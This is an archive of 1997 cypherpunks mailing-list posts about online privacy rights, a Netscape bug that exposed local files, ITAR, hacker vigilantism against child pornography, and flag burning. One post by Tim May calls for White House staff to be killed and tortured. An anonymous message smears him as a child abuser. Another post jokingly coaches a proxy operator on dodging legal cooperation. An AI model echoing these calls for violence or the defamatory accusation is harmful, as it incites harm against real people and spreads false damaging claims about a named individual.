>> http://pathfinder.com/netly/editorial/0,1012,1050,00.html

Pretty good article.

>> I have a confession to make: Unlike many of my
>> civil libertarian colleagues, I believe you have no
>> general right to privacy online. Sure, you have the
>> right to protect your personal data, but you shouldn't
>> be able to stop someone else from passing along that
>> information if you let it leave your computer. That's
>> your responsibility.
>
>Booooooooo! Hisssssssssss! Putting your bread and butter before your
>morals, eh? Maybe if someone would go through all your records and post
>them all over the net, you'd feel differently!

No need to go through them all. Just one record is guaranteed to set him and
his friends off.

>Declan, this truly sucks. :( I'm very disappointed in you. You are truly
>scum if you believe this.

Ray, he was talking about *rights*, not *morals*. I don't believe anyone has
an absolute *right* to privacy, but that doesn't mean I think it would be
anything short of morally abhorrent to knowingly post, say, Declan's social
security number. He has no legal or moral *right* to privacy, but it would
be morally *wrong*, and I would truly be scum, if I knowingly posted it. 

Rights are negative; morals are positive. The burden of proof is entirely
different. Journalists have a First Amendment right to be free from
government-imposed restrictions on speech, including non-criminal invasions
of privacy (some invasions of privacy can be criminal if the target is not a
public figure -- but such prosecutions are extremely rare), but some
journalists are truly scum. Others, like Declan in this case, get bashed
over misinterpretations and ideological flamers.

- -rich
 http://www.stanford.edu/~llurch/

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQBVAwUBM6Hjh5NcNyVVy0jxAQG+sAH/f0ZbXItOdKI/jOfcY9mDxU/0hBoHQVdM
XUW9xIHgKIgVzYzUrXFdmRL81Ku9IR77aJ6MEYrN5HjMNCZXusGdLg==
=u4We
-----END PGP SIGNATURE-----






From dlv at bwalk.dm.com  Fri Jun 13 17:39:49 1997
From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 14 Jun 1997 08:39:49 +0800
Subject: Anonymous proxies & ITAR question
In-Reply-To: <199706132228.PAA07110@fat.doobie.com>
Message-ID: 



nobody at huge.cajones.com (Huge Cajones Remailer) writes:
> I wanted to grab a copy of the 128 bit version of MSIE, but my ISP hasn't
> enabled reverse DNS lookup, so I decided to try running through an
> anonymous proxy server to scoop it and lo-and-behold, aside from being
> brutally slow, it worked like a charm.

One word of caution: MSIE 3.0 had many bad bugs that were fixed in 3.1.
Last time I looked, the 128-bit version was still 3.0.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps






From jya at pipeline.com  Fri Jun 13 18:17:29 1997
From: jya at pipeline.com (John Young)
Date: Sat, 14 Jun 1997 09:17:29 +0800
Subject: Impact of Netscape kernel hole
Message-ID: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>



Huge Cajones wrote:

>Tim's post (although refuted by Marc) raises some serious issues since I
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp


Isn't it widely known that the secret key is not to be stored in the box, as the
PGP manual and security pubs emphasize?

Still, it would be good to know if a Netscape snooper could snarf a key while 
it is being used by PGP to decrypt, that is, whether the hole allows snooping
on dynamic ops or just on stored info.

Does anyone know if the the hole finders are discussing this on the Net, and
if so, where? What are the folks at Netscape saying? Tom, Jeff?






From ericm at lne.com  Fri Jun 13 18:22:27 1997
From: ericm at lne.com (Eric Murray)
Date: Sat, 14 Jun 1997 09:22:27 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: <199706140108.SAA00039@slack.lne.com>



Huge Cajones Remailer writes:
> 
> It'd be nice to have more specifics about the whole situation, but
> regardless - any preliminary threat assessments?  Exactly how widely
> exploited do you think this has been?
> 
> Tim's post (although refuted by Marc) raises some serious issues since I
> suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp

Of course that's IDEA-encrypted (or maybe something better in PGP 5) so
the attacker would need a lot of compute power to brute-force the key.
I wouldn't worry too much about someone getting my secring.pgp.  However
I would worry about them getting my mail folder, my .rhosts, my
/etc/password, etc.

> Some coherent input on the possible impact of this would be appreciated.

Yes, a description of the exploit would be very helpful.  It should
be fairly easy to hack a proxy to search and destroy the Java/Javascript
CaptiveX attacklet as it's being received.


-- 
                   Eric Murray  ericm at lne.com 
  Network security and encryption consulting.    PGP keyid:E03F65E5 






From dformosa at st.nepean.uws.edu.au  Fri Jun 13 18:32:43 1997
From: dformosa at st.nepean.uws.edu.au (? the Platypus {aka David Formosa})
Date: Sat, 14 Jun 1997 09:32:43 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 



On Fri, 13 Jun 1997, Declan McCullagh wrote:

[...]

>    but you
>    shouldn't be able to stop someone else from passing along that
>    information if you let it leave your computer.

So I'm not premitted to say, 'I give you give you and only you this
infomation' and expect my goverment to help me if thay violate this
condtionn?

[...]

>    Businesses say that such a rule would stifle
>    Internet advertising and commerce and have recently released a flurry
>    of self-regulatory proposals.

Yes the good old self-regulatory smoke screan.

[...]

>         Yet this misses the point. Protecting your personal privacy
>    online is your responsibility.

Partly,  however there are actions where it is currently neccery for me to
release personal infomation,  I wish to be pretected from abuse of that
innfomation in that context.  In addtion such laws should encourage
protocls that reduce the need for personal infomation to be realsed.

[...]

>    But in truth, privacy is not a right but a
>    preference: Some people want more of it than others.

But in truth [Right foo] is not a right but a preference: Some peaple
want more of it than others.

>         Of course there's an essential right to privacy from the
>    government.

But what is worce big Bisness or big Goverment.  I see no real diffrentce
between a multinational comperny and a national goverment.  The only way
we can get protection from both is to play them off against each other.

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  






From nobody at huge.cajones.com  Fri Jun 13 18:48:02 1997
From: nobody at huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 14 Jun 1997 09:48:02 +0800
Subject: The World's Smartest Highway (opened earlier this week)
Message-ID: <199706140126.SAA17680@fat.doobie.com>



The worlds smartest highway opens tomorrow.
   
   So far, Highway 407 runs 36 km between Brampton and Markham, Ontario.
   Eventually it will cover an additional 33 km, and cost a total of
   $929.8 million over $13,000 per meter.
   
   What does that buy for Ontario commuters?
   
   The highway has a series of UHF radio antennae that pick up signals
   from small transponders installed in commuters vehicles. The highway
   measures the distance a vehicle travels, and deducts a per-kilometer
   fee from the owners credit card or prepaid account. The fee is 10
   cents per kilometer in rush hour, 7 cents in off-peak hours, and 4
   cents at night.
   
   Thats not a first a few U.S. toll highways have similar systems. But
   the 407 is the first highway able to send bills to drivers without
   transponders, without stopping them at toll booths. Overhead gantries
   along the highway take video images of license plates as vehicles
   travel the highway. The bill comes in the mail with a $1 premium.
   
   Ontario expects to pull in $40 million a year from Highway 407 tolls
   in theory. The license-plate billing system has never been tested
   under heavy traffic. The highway will be watching but not charging for
   the next 30 days or so, while Hughes Aircraft and Bell Canada, the
   companies who designed the system, hammer out the kinks.
   
   Related links: Canadian Highways International Corporation
   
                                    -30-
   
   Copyright ) 1997 Convergent Publishing Ltd.
   All rights reserved.
   
                                  [INLINE]
   
Canadian Highways International Corporation http://www.chichwys.com

http://www.theconvergence.com






From tcmay at got.net  Fri Jun 13 18:52:10 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 09:52:10 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <199706132241.PAA09924@fat.doobie.com>
Message-ID: 



At 3:41 PM -0700 6/13/97, Huge Cajones Remailer wrote:
>It'd be nice to have more specifics about the whole situation, but
>regardless - any preliminary threat assessments?  Exactly how widely
>exploited do you think this has been?
>
>Tim's post (although refuted by Marc) raises some serious issues since I
                        ^^^^^^^^^^^^^^^^^^^^^^^^
>suspect that Joe Public has his secret key sitting in c:\pgp\secring.pgp


Just what the fuck are you talking about? If you did not realize it was
satire, and are not one of the non-English subscribers....there ought to be
a minimum IQ to be allowed to subscribe.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Fri Jun 13 18:56:32 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 09:56:32 +0800
Subject: Netscape Security Flaw is a Feature
In-Reply-To: 
Message-ID: 



At 2:29 PM -0700 6/13/97, Kris Carlier wrote:
>Tim,
>
>> Meanwhile, Microsoft has acknowledge that all lines to its Redmond site are
>> clogged by people dumping Navigator and trying to download Explorer.
>
>Are you sure they are trying to get Explorer ? it's *very* difficult to
>buy a PC nowadays that comes without it. My guess is that people are still
>trying to get the vital bugfixes for NT, IE, Win95,...

It was a joke.

As you are a non-native English speaker (Belarus?), my subtlety may not
have been as obvious as it would be to any reasonably-bright American or
Brit.

In any case, I use a Macintosh and Explorer 3.0, and no browser came with
my Mac when I bought it in '94. Many machines of various flavors were sold
prior to Explorer or Navigator being bundled.

Me, I have no immediate plans to switch to Explorer.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tomw at netscape.com  Fri Jun 13 19:00:27 1997
From: tomw at netscape.com (Tom Weinstein)
Date: Sat, 14 Jun 1997 10:00:27 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <1.5.4.32.19970614004420.009dc794@pop.pipeline.com>
Message-ID: <33A1F574.42D6AD6A@netscape.com>



John Young wrote:
> 
> Still, it would be good to know if a Netscape snooper could snarf a
> key while it is being used by PGP to decrypt, that is, whether the
> hole allows snooping on dynamic ops or just on stored info.
> 
> Does anyone know if the the hole finders are discussing this on the
> Net, and if so, where? What are the folks at Netscape saying? Tom,
> Jeff?

We aren't talking about it much.  We've released some information to
the press and posted a release on our web site.

This attack can be used to grab any file from the user's hard drive,
provided you know the file name and path.  It exploits a bug in the
way forms are handled.  You can guard against this attack by turning
on the warning dialog for submitting a form over an insecure connection.

We have a fix which we are testing now, and we'll have it out early next
week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.

-- 
What is appropriate for the master is not appropriate| Tom Weinstein
for the novice.  You must understand Tao before      | tomw at netscape.com
transcending structure.  -- The Tao of Programming   |






From tcmay at got.net  Fri Jun 13 19:32:03 1997
From: tcmay at got.net (Tim May)
Date: Sat, 14 Jun 1997 10:32:03 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: 
Message-ID: 



At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
>Awwww, Caaa'monnn.
>
>You mean they can license handguns, but not reporters???

Indeed, it is strange. What part of "Congress shall make no law" do they
not understand?

(A better example is the ban on certain kinds of rifles, as these are
Federal bans. The various handgun licensing provisions are state and local.
Though let a state or local government try licensing _speech_ and watch how
quickly the Supremes would rule it unconstitutional.)

About five years ago I wrote a satirical essay arguing for "Licensing and
Regulation" of speech, noting the number of innocents killed by "assault
speech" and arguing that a $50 fee for each act of speech is completely
consistent with similar fees for exercise of the Second Amendment rights.

I'd repost it, but it's buried somewhere on one of my offline disks.

--Tim May


>I think reporters, particularly the lapdog Whitehouse kind, have killed
>more people in the last century than domestic handguns, don'tcha think?

Yes, many in the White House have already richly earned termination with
extreme prejudice. Several of them also should be tortured before being
dispatched.

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From ichudov at Algebra.COM  Fri Jun 13 19:59:05 1997
From: ichudov at Algebra.COM (Igor Chudov @ home)
Date: Sat, 14 Jun 1997 10:59:05 +0800
Subject: Impact of Netscape kernel hole
In-Reply-To: <33A1F574.42D6AD6A@netscape.com>
Message-ID: <199706140232.VAA20313@manifold.algebra.com>



Tom Weinstein wrote:
> John Young wrote:
> > 
> > Still, it would be good to know if a Netscape snooper could snarf a
> > key while it is being used by PGP to decrypt, that is, whether the
> > hole allows snooping on dynamic ops or just on stored info.
> > 
> > Does anyone know if the the hole finders are discussing this on the
> > Net, and if so, where? What are the folks at Netscape saying? Tom,
> > Jeff?
> 
> We aren't talking about it much.  We've released some information to
> the press and posted a release on our web site.
> 
> This attack can be used to grab any file from the user's hard drive,
> provided you know the file name and path.  It exploits a bug in the
> way forms are handled.  You can guard against this attack by turning
> on the warning dialog for submitting a form over an insecure connection.
> 
> We have a fix which we are testing now, and we'll have it out early next
> week for 4.0.  A fix for 3.x will follow once we have 4.0 fixed.


Tom, are you going to release the linux version of netscape, 
and when.

Thank you very much.

	- Igor.






From llurch+spamfilter at stanford.edu  Fri Jun 13 20:28:59 1997
From: llurch+spamfilter at stanford.edu (Rich Graves)
Date: Sat, 14 Jun 1997 11:28:59 +0800
Subject: Wired News' War Correspondent on kiddie porn
In-Reply-To: <5nggqs%24jjf@Networking.Stanford.EDU>
Message-ID: 



Full text:

 http://www.wired.com/news/culture/story/4437.html

   Hacker Vows 'Terror' for Child Pornographers
   by Steve Silberman

   2:32pm  13.Jun.97.PDT After 17 years in the hacker underground,
   Christian Valor - well known among old-school hackers and phone
   phreaks as "Se7en" - was convinced that most of what gets written in
   the papers about computers and hacking is sensationalistic jive. For
   years, Valor says, he sneered at reports of the incidence of child
   pornography on the Net as
   "exaggerated/over-hyped/fearmongered/bullshit."

   Now making his living as a lecturer on computer security, Se7en claims
   he combed the Net for child pornography for eight weeks last year
   without finding a single image.

   That changed a couple of weeks ago, he says, when a JPEG mailed by an
   anonymous prankster sent him on an odyssey through a different kind of
   underground: IRC chat rooms with names like #littlegirlsex, ftp
[...]
   On 8 June, Se7en vowed on a hacker's mailing list to deliver a dose of
   "genuine hacker terror" to those who upload and distribute such images
   on the Net. The debate over his methods has stirred up tough questions
   among his peers about civil liberties, property rights, and the ethics
   of vigilante justice.

[I was not aware that he'd sent it to DefCon first, with cypherpunks as a
secondary distribution. That explains the language barrier Lizard noticed.]

   Se7en claims to have already "taken down" a "major player" - an
   employee of Southwestern Bell who Se7en says was "posting ads all over
   the place." Se7en told Wired News that he covertly watched the man's
   activities for days, gathering evidence that he emailed to the
   president of Southwestern Bell. Pseudonymous remailers like
   hotmail.com and juno.com, Se7en insists, provide no security blanket
[...]
   A couple of days after submitting message headers and logs to the
   president and network administrators of Southwestern Bell, Se7en says,
   he got a letter saying the employee was "no longer on the payroll."

   The hacker search for acceptance

   Se7en's declaration of war received support on the original mailing
   list. "I am all for freedom of speech/expression," wrote one poster,
   "but there are some things that are just wrong.... I feel a certain
   moral obligation to the human race to do my part in cleaning up the
   evil."
[...]
   Pitching in to assist the Feds just isn't the hacker way. As one
   poster to the DefCon list put it, "The government can't enforce laws
   on the Internet. We all know that. We can enforce laws on the
   Internet. We all know that too."

   The DefCon list was not a unanimous chorus of praise for Se7en's plan
   to give the pornographers a taste of hacker terror, however. The most
   vocal dissenter has been Declan McCullagh, Washington correspondent
   for the Netly News. McCullagh is an outspoken champion of
   constitutional rights, and a former hacker himself.

[Wired forgot the (tm).]

   "Few people seem to realize that the long-standing federal child-porn
   law outlawed pictures of dancing girls wearing leotards," McCullagh
   wrote - alluding to the conviction of Stephen Knox, a graduate student
   sentenced to five years in prison for possession of three videotapes
   of young girls in bathing suits. The camera, the US attorney general
   pointed out, lingered on the girls' genitals, though they remained
   clothed. "The sexual implications of certain modes of dress, posture,
   or movement may readily put the genitals on exhibition in a lascivious
   manner, without revealing them in a nude display," the Feds argued -
   and won.

[Declan fails to recognize that everybody here already knows this, and
agrees that Knox was the victim of hysteria.]

   The menace of child porn is being exploited by "censor-happy"
   legislators to "rein in this unruly cyberspace," McCullagh says. The
   rush to revile child porn on the DefCon list, McCullagh told Wired
   News, reminded him of the "loyalty oaths" of the McCarthy era.

[With James Donald, on the other hand, no analogies are necessary.]

   But McCullagh is not alone. As the debate over Se7en's declaration
   spread to the cypherpunks mailing list and alt.cypherpunks -
   frequented by an older crowd than the DefCon list - others expressed
   similar reservations over Se7en's plan.

   "Basically, we're talking about a Dirty Harry attitude," one network
   technician/cypherpunk told Wired News. Though he senses "real feeling"
   behind Se7en's battle cry, he feels that the best way to deal with
   pornographers is to "turn the police loose on them."

[ROFL. I insisted on not being identified because I didn't want any conflict
with Declan, and here he has me AGREEING with him. Cool! And in context, a
good addition to the story.]

   It's not JPEGs of clothed ballerinas that raise his ire, Se7en says.
   It's "the 4-year-olds being raped, the 6-year-old forced to have oral
   sex with cum running down themselves." Such images, Se7en admits, are
   very rare - even in online spaces dedicated to trading sexual imagery
   of children.

   "I know what I'm doing is wrong. I'm trampling on the rights of these
   guys," he says. "But somewhere in the chain, someone is putting these
   images on paper before they get uploaded. Your freedom ends when you
   start hurting other people."

[I.e., we ain't talking about Knox or Angeli, folks.]

-rich
 http://www.stanford.edu/~llurch/






From kent at songbird.com  Fri Jun 13 20:36:00 1997
From: kent at songbird.com (Kent Crispin)
Date: Sat, 14 Jun 1997 11:36:00 +0800
Subject: Do reporters have special rights the rest of us don't have?
In-Reply-To: 
Message-ID: <19970613201551.40314@bywater.songbird.com>



On Fri, Jun 13, 1997 at 07:10:35PM -0700, Tim May wrote:
> At 12:36 PM -0700 6/13/97, Robert Hettinga wrote:
> >Awwww, Caaa'monnn.
> >
> >You mean they can license handguns, but not reporters???
> 
> Indeed, it is strange. What part of "Congress shall make no law" do they
> not understand?

The second amendment does not include that phrase.  The first 
amendment does.  Perhaps they understand it a great deal better than 
you:


                            Amendment I

Congress shall make no law respecting an establishment of religion, or
prohibiting the free exercise thereof; or abridging the freedom of
speech, or of the press; or the right of the people peaceably to
assemble, and to petition the Government for a redress of grievances. 

                           Amendment II

A well regulated Militia, being necessary to the security of a free
State, the right of the people to keep and bear Arms, shall not be
infringed. 

-- 
Kent Crispin				"No reason to get excited",
kent at songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html






From llurch at networking.stanford.edu  Fri Jun 13 21:08:10 1997
From: llurch at networking.stanford.edu (Rich Graves)
Date: Sat, 14 Jun 1997 12:08:10 +0800
Subject: Anonymous proxies & ITAR question
Message-ID: 



Also sprach nobody:

>Under ITAR regs, if a "foreign national" was to use the server to get
>access to "munitions" (sure, software kills, didn't cha know?), could I be
>held in violation?
>
>Even if all they had was circumstantial evidence, I'd really like to avoid
>being indicted - puts a real kink in one's social schedule.
>
>Your thoughts on this would be appreciated.

This is why we need more remailers, and why it's good that you posted
anonymously. The proper thing to do is to be "shocked, shocked!" that
anything illegal is happening on your server, immediately shut it down
(counting on the network to be self-healing with the help of an enhanced
remailer list), and offer to cooperate fully. Unfortunately, you don't
keep logs, so you wouldn't really be able to help (damn!).

-rich
 http://www.stanford.edu/~llurch/






From llurch+spamfilter at stanford.edu  Fri Jun 13 22:46:00 1997
From: llurch+spamfilter at stanford.edu (Rich Graves)
Date: Sat, 14 Jun 1997 13:46:00 +0800
Subject: Wired News' War Correspondent on kiddie porn
In-Reply-To: <5nggqs%24jjf@Networking.Stanford.EDU>
Message-ID: 



> http://www.wired.com/news/culture/story/4437.html
>
>   Hacker Vows 'Terror' for Child Pornographers
>   by Steve Silberman
[...]
>   "Basically, we're talking about a Dirty Harry attitude," one network
>   technician/cypherpunk told Wired News. Though he senses "real feeling"
>   behind Se7en's battle cry, he feels that the best way to deal with
>   pornographers is to "turn the police loose on them."

Grr. Didn't notice that on first reading. Of course I meant evidence of
criminal child abuse that Mike Godwin considers illegal, not "pornography."
Since he snipped my name on request, though, I suppose I can't really
complain.

-rich
 http://www.stanford.edu/~llurch/






From paul at fatmans.demon.co.uk  Sat Jun 14 03:19:26 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 18:19:26 +0800
Subject: Flag Burning...
In-Reply-To: <199706131352.GAA06683@toad.com>
Message-ID: 




> For Congress to deny the freedom to burn the flag is a desecration of what
> the flag stands for - a descration of the flag by the government itself.

Well said, for a government to deny the right to destroy private 
property, whether a flag or anything else, gives yet more proof of why 
the flag no longer means anything and why it should be burnt.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Sat Jun 14 03:24:16 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 18:24:16 +0800
Subject: Flag Burning...
In-Reply-To: 
Message-ID: 




> >When it comes down to flag burning, It really bothers me that we allow our
> >symbol of freedom to be burned.  It's more than a flag and a right.  It's a
> >symbol of the freedom we have.  To allow someone to publicly burn a flag is
> >essentially displaying our freedom being burned.

This is an ill thought out and emotional response. A flag, just as any 
other object, it someones private property. If I choose to but 1000000 US 
flags and burn them on my property, or on property I have permission to 
use for this purpose, it is no business of the state or anyone else.
Realise first and foremost that all law is based on property.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Sat Jun 14 03:25:56 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 18:25:56 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 




> He still misunderstands my position. I'm saying you have no property right
> in information others collect about you.

There is no such thing as intellectual property rights period. All 
patents and copyrights are violations of free speech, technology is the 
only way to protect so called "intellectual property"... If you don`t 
want people to have information don`t release it.

> Great. You want Congress to pass a law that says "Netscape shall release
> no more buggy browsers." Yeah, and mandate that pi is 3.14, right? 

No, I wouldn`t mind one that made bugs in Micro$oft stuff criminal ;-)... 
BTW, I`m pretty sure it was pi=3.2 on that bill.

> > What I leave on my computer is my private business, and NOBODY HAS THE
> > RIGHT TO SURF IT WITHOUT MY PERMISSION.  Whether or not they have root.

> I'm not saying that people have a "right to surf (?) it without your 
> permission." That's a violation of your property rights, a trespass. 
> But if you connect to my web site, I should be allowed to record 
> whatever info leaks from your computer. Don't like it? Cut the flow or 
> don't come.  

Declan put this point very well here, don`t confuse listening to other 
peoples speech with breaking into their house and reading their private 
diary. If you don`t want the information free keep it confidential, 
simple as that.

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From paul at fatmans.demon.co.uk  Sat Jun 14 03:38:33 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 18:38:33 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
In-Reply-To: 
Message-ID: 




> If I give XYZ corp any info I expect them not to sell that info without my
> permission.  Verily, that information is valuable, therefore if they want
> to sell it, they should get my permission, and should pay me for it.

The default case is total freedom of speech for both individuals and 
corporations, if you don`t want XYZ corp. to sell your information make a 
contract with them that they will not sell it, if you do want it sold but 
want to be paid, then a contract is again the answer. 

> I don't necessarily want government restrictions on privacy, however I
> would want a constitutional amendment to privacy that says: all I do is
> private unless I explicitly share it with others, and if I do share it,
> they may not pass it on to others without my permission.  

The first part is correct, everything you do IS private until you pass it 
on, if you don`t want transactions traced, don`t use a credit card, if 
you don`t want a shop to take information; refuse to give it or lie.
The second part is a restriction on free speech not based in a contract, 
there is no such thing as a default case of restricted speech. I agree 
that privacy is a valuable thing but it comes down to you to protect it, 
not the state and not the constitution.


> personal level, not on a corporate or governmental level.  Why I feel this
> way is an excercise for the reader.  Hint: Uncle Sam works for us since we
> pay him from our income.  We don't work for him (most of the time.)

I agree, if the people decide the state cannot collect information on 
them they are entitled to force the state not to do so. But between 
individuals and corporations it is a matter of a private contractural 
agreement.

> How many loons have used DMV records to stalk their victims?

I can`t answer this point because I don`t know if the US DMV reg system 
is supposed to allow anyone access to anyone elses records, if not then 
this is the fault of the government goons who failed in protecting the 
information.

> Yes, I do take privacy seriously, and I do protect it.  But to say anyone
> has the right to snoop my machines and see what I have there is NOT cool.

No, this is an act of trespass and is unauthorised use of your equipment, 
what it all comes down to is property: To break into your system is an 
unauthorised use of your equipment: A tangiable theft. To compare this to 
speech is a straw man.

> As for Radio Shack weasels, I don't give them info, or give them
> misleading info.  What's on my hard drives and in my machine's RAM is NONE
> OF ANYONE'S BUSINESS!

Quite so, if you don`t want to give radio shack information then refuse, 
lie or walk away. The only thing wrong with radio shack asking for this 
information is that the government mandates that such information must be 
true.

> At the last PC Expo, I registered as H.P. Lovecraft.  When I buy things
> that are purchased by credit card I know that info will leak out, and
> don't do this unless I'm willing to leak it out.

Exactly, YOU and no-one else makes the decision to release the 
information. Even this can be avoided by holding bank accounts in false 
names and running debit cards from them (I believe neither of these 
actions is criminal?).

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From paul at fatmans.demon.co.uk  Sat Jun 14 03:50:18 1997
From: paul at fatmans.demon.co.uk (Paul Bradley)
Date: Sat, 14 Jun 1997 18:50:18 +0800
Subject: Netscape Bug :)))
In-Reply-To: <3.0.2.32.19970613001349.006f4334@pop.mhv.net>
Message-ID: 





>                  The bug was reported by Cabocomm, a
>                  software company located about 100 miles west
>                  of Copenhagen, Denmark. The bug makes it
>                  possible for Web-site operators to read anything
>                  stored on the hard drive of a PC logged on to
>                  the Web site.

Do you have information if by PC here they mean the abreviated IBM-PC form 
(ie. something running a Micro$oft OS) or the generic media meaning 
(ie. any micro)... Ie. is the linux version affected?

        Datacomms Technologies data security
       Paul Bradley, Paul at fatmans.demon.co.uk
  Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"

 






From nobody at REPLAY.COM  Sat Jun 14 04:11:26 1997
From: nobody at REPLAY.COM (Anonymous)
Date: Sat, 14 Jun 1997 19:11:26 +0800
Subject: [ADMINISTRATIVIUM] ZKP
Message-ID: <199706141102.NAA10524@basement.replay.com>



Timothy C. Mayo is not only as queer as a three 
dollar bill, but he is also into having sex with 
children.

  (((>     /<
 (        /
  ((({{{{{:<  Timothy C. Mayo
          \
           \<






From arunas at post1.com  Sat Jun 14 04:45:26 1997
From: arunas at post1.com (Arunas Norvaisa)
Date: Sat, 14 Jun 1997 19:45:26 +0800
Subject: nym.alias.net back!!!!!!
Message-ID: <3.0.32.19970614144125.00691a54@post1.com>



there will be no comments from my stupid self. Hoorah!!!

quote
=====

>From           lcs Remailer Administrator 
Organization   mail2news at nym.alias.net
Date           14 Jun 1997 04:27:52 -0000
Newsgroups     alt.privacy.anon-server
Message-ID     <19970614042752.18952.qmail at nym.alias.net>



As of tonight, the alias.net domain seems to have been restored by the
Internic.  While negative lookups on the domain name may still be
cached for 24 hours or so, nym.alias.net should soon be fully
accessible within a day if it is not already.

This down time has been fairly disastrous, but I suppose there is a
brighter side--chances are the all nym.alias.net addresses have been
cleared from spam databases, so as the remailer comes back on line,
people should see less unsolicited mail than they used to.

unquote
=======

--
greetz... Arunas Norvaisa - little guy, The Masses Inc.
 with subject: 'send key' to get PGP key
PGP for idiots page 
  and a mirror site 
IBM: Insultingly Boring Microcomputers






From nobody at secret.squirrel.owl.de  Sat Jun 14 06:06:58 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Sat, 14 Jun 1997 21:06:58 +0800
Subject: Do reporters have special rights the rest of us don't have?
Message-ID: <19970614125040.32767.qmail@squirrel.owl.de>



Tim May wrote:
> (I have no problems with private agents, e.g., Microsoft or
> whatever, limiting contacts to the "main" reporters. It's their
> property. If they grant interviews to Declan, Brock, John, Steve,
> etc., and not to me, I cannot claim my "rights" were violated.
> Government functions are another matter, and I would generally favor
> letting anyone claiming to be a reporter in to government press
> conferences...to do anything else is to give licensing and
> credentials to speech, which the government should have no right to
> do. If they need to hold press conferences in RFK Stadium, so be
> it.)

Are you proposing the President can't choose who he meets?  Whether
such a meeting is called a "press conference" is irrelevant.

The legitimization of reporters through the use of "press credentials"
by the government can only occur when people operating the news
channels and their customers allow it to happen.

Panther Modern






From nobody at secret.squirrel.owl.de  Sat Jun 14 06:08:02 1997
From: nobody at secret.squirrel.owl.de (Secret Squirrel)
Date: Sat, 14 Jun 1997 21:08:02 +0800
Subject: FUCK YOU: There's no general right to privacy -- get over it, from Netly
Message-ID: <19970614125035.32717.qmail@squirrel.owl.de>



Declan McCullagh wrote:
>Ray Arachelian wrote:
>> Yes, I do take privacy seriously, and I do protect it.  But to say
